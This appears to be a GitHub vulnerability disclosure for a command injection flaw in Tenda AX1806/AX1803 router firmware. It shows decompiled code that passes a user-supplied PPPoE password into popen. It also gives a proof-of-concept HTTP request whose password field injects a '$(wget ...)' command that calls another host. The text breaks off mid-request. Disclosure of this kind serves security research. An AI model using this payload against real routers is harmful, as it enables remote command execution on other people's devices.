

main CVEIDs / TendaAX18 /



F0und-icu add vversion ...

on Apr 1 History

..



images

9 months ago



README.md

8 months ago



README.md

Tenda AX18 v1.0.0.1 has a commend injection vulnerability

Overview

- **Type:** command injection vulnerability
- **Vendor:** Tenda (<https://tenda.com.cn>)
- **Products:** WiFi Router AX1806 v1.0.0.1 and AX1803 v1.0.0.1
- **Firmware download address:** <https://tenda.com.cn/download/detail-3225.html>
- **Firmware download address:** <https://www.tenda.com.cn/product/download/AX1806.html>

Description

1.Product Information:

Tenda AX1806 v1.0.0.1 and AX1803 v1.0.0.1 router, the latest version of simulation overview:

AX1806 升级软件 v1.0.0.1

立即下载

关联产品: AX1806 更新日期: 2022/1/6

AX1806升级说明

硬件版本: V2.0/V2.1

软件版本: v1.0.0.1

注意事项:

1. 此固件仅适用于AX1806型号且当前软件版本为v1.0.0.X的机器升级, 升级前请确认产品型号和当前软件版本。
2. 解压下载文件, 登录无线路由器管理界面, 点击“系统管理”-“软件升级”-“本地升级”, 选择“bin”结尾的文件来升级您的无线路由器。
3. 升级过程不可断电, 否则会导致机器损坏无法使用。

更新说明:

- 1、优化并默认开启IPv6功能。

* 如果链接错误或其他问题, 请反馈到 tenda@tenda.com.cn或联系在线客服, 谢谢。

AX1803升级软件 v1.0.0.1_2890

立即下载

关联产品: AX1803 更新日期: 2021/7/30

1. 此固件仅适用于AX1803型号且当前软件版本为V1.0.0.X的机器升级, 升级前请确认产品型号。
2. 解压下载文件, 登录无线路由器管理界面, 点击“系统管理”-“软件升级”-“本地升级”, 选择“bin”结尾的文件来升级您的路由器。
3. 升级过程中不能断电, 否则会导致无线路由器损坏。

* 如果链接错误或其他问题, 请反馈到 tenda@tenda.com.cn或联系在线客服, 谢谢。

2. Vulnerability details

Tenda AX1806 and AX1803 was discovered to contain a command injection vulnerability in SetIPv6Status function

```
External symbol | Lunina function
IDA View-A | Pseudocode-D | Pseudocode-A | Pseudocode-B | Pseudocode-C | Pseudocode-E | Pseudocode-F | Pseudocode-7 | Structures | Enums
70  "1",
71  v12,
72  v13,
73  v14,
74  v15);
75  if ( !strcmp(v4, "0") )
76  {
77  LABEL_17:
78  v8 = 1;
79  goto LABEL_19;
80  }
81  GetValue("wan1.connecttype", &v17);
82  v6 = atoi((const char *)&v17);
83  if ( !strcmp(v6, "DHCP") )
84  {
85  SetValue("ipv6.wan.type", "0");
86  SetValue("ipv6.wan.dhc.iapd", "1");
87  v7 = 0;
88  goto LABEL_15;
89  }
90  if ( !strcmp(v6, "PPPoE") )
91  {
92  SetValue("ipv6.wan.type", "2");
93  SetValue("ipv6.wan.dhc.iapd", "1");
94  SetValue(&unk_1CCC2B, v11);
95  SetValue(&unk_1CCC3C, v10);
96  save_encrypted_data((int)v10, (int)/tmp/pppoe_password");
97  v7 = 2;
98  goto LABEL_15;
99  }
100 if ( !strcmp(v6, "Static") )
101 {
102 SetValue("ipv6.wan.type", "1");
103 SetValue("ipv6.wan.dhc.iapd", "0");
104 if ( !parse_addr(v12, v19, 40, v18, 8) )
105 {
106 SetValue("ipv6.wan.addr", v19);
107 SetValue("ipv6.wan.prefix_len", v18);
108 SetValue("ipv6.wan.route", v13);
109 SetValue(&unk_1CD677, v14);
110 SetValue(&unk_1CD68F, v15);
111 v7 = 1;
112 LABEL_15:
113 if ( (v7 == 2) != (v6 == 2) )
114 {
00037DC0 fromAdvSetIpv6:70 (47DC0)
64 114 (47DC0)
64 114 (47DC0)
```

```
IDA View-A | Pseudocode-C | Pseudocode-B | Pseudocode-A | Hex View-1 | Structures | Enums
1 FILE *__fastcall save_encrypted_data(const char *a1, const char *a2)
2 {
3 char s[536]; // [sp+8h] [bp-218h] BYREF
4
5 memset(s, 0, 0x200u);
6 snprintf(s, 0x200u, "echo -n %s | openssl aes-128-ecb -e -a -pbkdf2 -k 1qaz2wsx3edc4rfv -out %s", a1, a2);
7 return popen(s, "r");
8 }
```

When we set connect type = PPPoE we will get a command injection vulnerability after login.

IPv6 ☒

IPv6 WAN设置

联网方式	PPPoEv6 ▼
宽带账号	asdas
宽带密码

保存

3. Recurring vulnerabilities and POC

In order to reproduce the vulnerability, the following steps can be followed:

1. Boot the firmware by qemu-system or other ways (real machine)
2. Attack with the following POC attacks

```
POST /goform/setIPv6Status HTTP/1.1
Host: 192.168.2.1
Connection: close
Content-Length: 191
sec-ch-ua: " Not A;Brand";v="99", "Chromium";v="98", "Google Chrome";v="98"
Accept: */*
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36
(KHTML, like Gecko) Chrome/98.0.4758.109 Safari/537.36
sec-ch-ua-platform: "macOS"
Origin: https://192.168.2.1
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://192.168.2.1/main.html
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: password=edef4d6d98974e46457a587e2e724a2ndy5gk
```

IPv6En=1&conType=PPPoE&ISPusername=addasdas&ISPpassword=\$(wget
http://192.168.2.2:9999/)&prefixDelegate=0&wanAddr=%2F&gateWay=&lanType=undefined&wa

